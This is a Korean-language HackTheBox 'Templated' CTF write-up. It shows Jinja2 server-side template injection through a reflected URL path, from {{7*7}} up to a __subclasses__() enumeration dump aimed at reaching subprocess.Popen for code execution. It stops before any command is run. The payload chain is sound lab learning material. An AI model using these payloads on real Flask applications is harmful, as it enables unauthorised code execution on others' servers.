[HTB] Templated Writeup

 

문제 URL을 방문해보자.

문제 이름 및 Flask/Jinja2를 사용한다는 점에서 SSTI 관련 문제임을 유추 할 수 있다.

별다른 기능이 없어보이므로 SSTI 공격을 시도하기 위한 다른 기능을 찾기 위해 다른 경로에 접근을 시도해보다가 입력한 경로 정보가 응답 값에 그대로 반영됨을 알 수 있었다.

따라서 경로 값으로 Jinja2에서의 SSTI 값을 입력하니 유효함을 확인 할 수 있었다.

{{7*7}} 입력 -> {{49}} 로 반영

SSTI 공격을 통한 RCE를 위해 아래 과정을 거쳐 시도해보았다.

{{ 7*7 }}
#49
{{ ''.__class__ }}
#<class 'str'>
{{ ''.__class__.__mro__ }}
#(<class 'str'>, <class 'object'>)
{{ ''.__class__.__mro__[1].__subclasses__() }}
#[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'runpy._TempModule'>, <class 'runpy._ModifiedArgv0'>, <class '__future__._Feature'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'debugpy.common.json.JsonObject'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class '_winapi.Overlapped'>, <class 'subprocess.STARTUPINFO'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'unicodedata.UCD'>, <class '_pydevd_bundle.pydevd_constants.DebugInfoHolder'>, <class '_pydevd_bundle.pydevd_vm_type.PydevdVmType'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'pyexpat.xmlparser'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'gzip._PaddedFile'>, <class 'xmlrpc.client.DateTime'>, <class 'xmlrpc.client.Binary'>, <class 'xmlrpc.client.ExpatParser'>, <class 'xmlrpc.client.Marshaller'>, <class 'xmlrpc.client.Unmarshaller'>, <class 'xmlrpc.client._MultiCallMethod'>, <class 'xmlrpc.client.MultiCallIterator'>, <class 'xmlrpc.client.MultiCall'>, <class 'xmlrpc.client._Method'>, <class 'xmlrpc.client.Transport'>, <class 'xmlrpc.client.ServerProxy'>, <class 'mimetypes.MimeTypes'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'socketserver.BaseServer'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'pydoc.Doc'>, <class 'pydoc.Helper'>, <class 'pydoc.ModuleScanner'>, <class 'xmlrpc.server.SimpleXMLRPCDispatcher'>, <class 'xmlrpc.server.XMLRPCDocGenerator'>, <class '_pydevd_bundle.pydevd_constants.ForkSafeLock'>, <class '_pydevd_bundle.pydevd_constants.Null'>, <class '_pydevd_bundle.pydevd_constants.KeyifyList'>, <class '_pydevd_bundle.pydevd_constants._GlobalSettings'>, <class '_pydevd_bundle.pydevd_constants.GlobalDebuggerHolder'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'PyHANDLE'>, <class 'PyOVERLAPPED'>, <class 'PyDEVMODEA'>, <class 'PyDEVMODEW'>, <class 'PyWAVEFORMATEX'>, <class 'PyIID'>, <class 'PySECURITY_DESCRIPTOR'>, <class 'PySECURITY_ATTRIBUTES'>, <class 'PySID'>, <class 'PyACL'>, <class 'PyDISPLAY_DEVICE'>, <class 'interface-type'>, <class 'PyOleEmpty'>, <class 'PyOleMissing'>, <class 'ArgNotFound'>, <class 'PyOleNothing'>, <class 'PyFUNCDESC'>, <class 'PySTGMEDIUM'>, <class 'PyTYPEATTR'>, <class 'PyVARDESC'>, <class 'com_record'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_pydev_bundle.pydev_log._LoggingGlobals'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '_pydevd_bundle.pydevd_extension_utils.ExtensionManager'>, <class '_pydevd_bundle.pydevd_frame_utils.Frame'>, <class '_pydevd_bundle.pydevd_frame_utils.FCode'>, <class '_pydevd_bundle.pydevd_frame_utils.FramesList'>, <class '_pydevd_bundle.pydevd_frame_utils._DummyFrameWrapper'>, <class '_pydevd_bundle.pydevd_filtering.FilesFiltering'>, <class '_pydevd_bundle.pydevd_io.IORedirector'>, <class '_pydevd_bundle.pydevd_io.RedirectToPyDBIoMessages'>, <class '_pydevd_bundle.pydevd_io.IOBuf'>, <class '_pydevd_bundle.pydevd_io._RedirectInfo'>, <class '_pydevd_bundle.pydevd_io._RedirectionsHolder'>, <class '_pydevd_bundle.pydevd_utils.ScopeRequest'>, <class '_pydevd_bundle.pydevd_utils.DAPGrouper'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pydevd_bundle.pydevd_safe_repr.SafeRepr'>, <class '_pydevd_bundle.pydevd_resolver.DefaultResolver'>, <class '_pydevd_bundle.pydevd_resolver.DAPGrouperResolver'>, <class '_pydevd_bundle.pydevd_resolver.DictResolver'>, <class '_pydevd_bundle.pydevd_resolver.TupleResolver'>, <class '_pydevd_bundle.pydevd_resolver.SetResolver'>, <class '_pydevd_bundle.pydevd_resolver.InstanceResolver'>, <class '_pydevd_bundle.pydevd_resolver.JyArrayResolver'>, <class '_pydevd_bundle.pydevd_resolver.FrameResolver'>, <class '_pydevd_bundle.pydevd_resolver.InspectStub'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractResolver'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractProvider'>, <class '_pydevd_bundle.pydevd_extension_api.DebuggerEventHandler'>, <class '_pydevd_bundle.pydevd_xml.ExceptionOnEvaluate'>, <class '_pydevd_bundle.pydevd_xml.TypeResolveHandler'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.SetLineno'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Label'>, <class '_pydevd_frame_eval.vendored.bytecode.instr._Variable'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Instr'>, <class '_pydevd_frame_eval.vendored.bytecode.bytecode.BaseBytecode'>, <class '_pydevd_frame_eval.vendored.bytecode.concrete._ConvertBytecodeToConcrete'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Target'>, <class '_pydevd_bundle.pydevd_bytecode_utils._TargetIdHashable'>, <class '_pydevd_bundle.pydevd_bytecode_utils._StackInterpreter'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Variant'>, <class '_pydevd_bundle.pydevd_frame._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_frame.PyDBFrame'>, <class '_pydevd_bundle.pydevd_additional_thread_info_regular.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_defaults.PydevdCustomization'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithTrace'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithoutTrace'>, <class 'pydevd_tracing.TracingFunctionHolder'>, <class '_pydevd_bundle.pydevd_timeout._OnTimeoutHandle'>, <class '_pydevd_bundle.pydevd_timeout.TimeoutTracker'>, <class '_pydev_bundle.pydev_console_utils.BaseStdIn'>, <class '_pydev_bundle.pydev_console_utils.CodeFragment'>, <class '_pydev_bundle.pydev_console_utils.BaseInterpreterInterface'>, <class '_pydev_bundle.pydev_console_utils.FakeFrame'>, <class '_pydevd_bundle.pydevd_breakpoints.ExceptionBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.LineBreakpoint'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFramesContainer'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFrame'>, <class '_pydevd_bundle.pydevd_net_command._BaseNetCommand'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pydevconsole.Command'>, <class '_pydev_bundle.pydev_umd.UserModuleDeleter'>, <class 'pydevconsole._ProcessExecQueueHelper'>, <class '_pydev_bundle._pydev_completer._StartsWithFilter'>, <class '_pydev_bundle._pydev_completer.Completer'>, <class '_pydevd_bundle.pydevd_net_command_factory_xml.NetCommandFactory'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerOnlyUnhandledExceptions'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerNoBackFrame'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.ThreadTracer'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMappingEntry'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMapping'>, <class 'pydevd_concurrency_analyser.pydevd_thread_wrappers.ObjectWrapper'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.ThreadingLogger'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.NameManager'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.AsyncioLogger'>, <class '_pydevd_bundle._debug_adapter.pydevd_base_schema.BaseSchema'>, <class '_pydevd_bundle.pydevd_reload.Reload'>, <class '_pydev_bundle.fsnotify._SingleVisitInfo'>, <class '_pydev_bundle.fsnotify._PathWatcher'>, <class '_pydev_bundle.fsnotify.Watcher'>, <class '_pydevd_bundle.pydevd_console.ConsoleMessage'>, <class '_pydevd_bundle.pydevd_console.InteractiveConsoleCache'>, <class '_pydevd_bundle.pydevd_comm.InternalThreadCommand'>, <class '_pydevd_bundle.pydevd_net_command_factory_json.ModulesManager'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.TryExceptInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.ReturnInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._TargetInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._MsgPart'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._Disassembler'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI.VariablePresentation'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame._DummyCode'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._AddBreakpointResult'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI'>, <class '_pydevd_bundle.pydevd_json_debug_options.DebugOptions'>, <class '_pydevd_bundle.pydevd_process_net_command_json.IDMap'>, <class '_pydevd_bundle.pydevd_process_net_command_json.PyDevJsonCommandProcessor'>, <class '_pydevd_bundle.pydevd_traceproperty.DebugProperty'>, <class '_pydevd_bundle.pydevd_process_net_command._PyDevCommandProcessor'>, <class '_pydevd_bundle.pydevd_suspended_frames._AbstractVariable'>, <class '_pydevd_bundle.pydevd_suspended_frames._FramesTracker'>, <class '_pydevd_bundle.pydevd_suspended_frames.SuspendedFramesManager'>, <class 'pydevd_plugins.django_debug.DjangoTemplateFrame'>, <class 'pydevd_plugins.django_debug.DjangoTemplateSyntaxErrorFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateSyntaxErrorFrame'>, <class '_pydevd_bundle.pydevd_plugin_utils.PluginManager'>, <class 'pydevd.AbstractSingleNotificationBehavior'>, <class 'pydevd._Authentication'>, <class 'pydevd.PyDB'>, <class 'pydevd.IDAPMessagesListener'>, <class 'pydevd.Dispatcher'>, <class 'pydevd.SetupHolder'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayResolver'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayItemsContainer'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NDArrayTypeResolveProvider'>, <class 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str.DjangoFormStr'>, <class 'debugpy.common.util.Observable'>, <class 'debugpy.common.log.LogFile'>, <class 'debugpy.common.log.NoLog'>, <class 'debugpy.server.cli.Options'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click._winconsole.ConsoleStream'>, <class 'click._winconsole.WindowsChunkedWriter'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.ForkingMixIn'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]

# subprocess.Popen이 몇 번째 인덱스인지 찾기(예시에서는 245)
{{ ''.__class__.__mro__[1].__subclasses__()[245:] }}
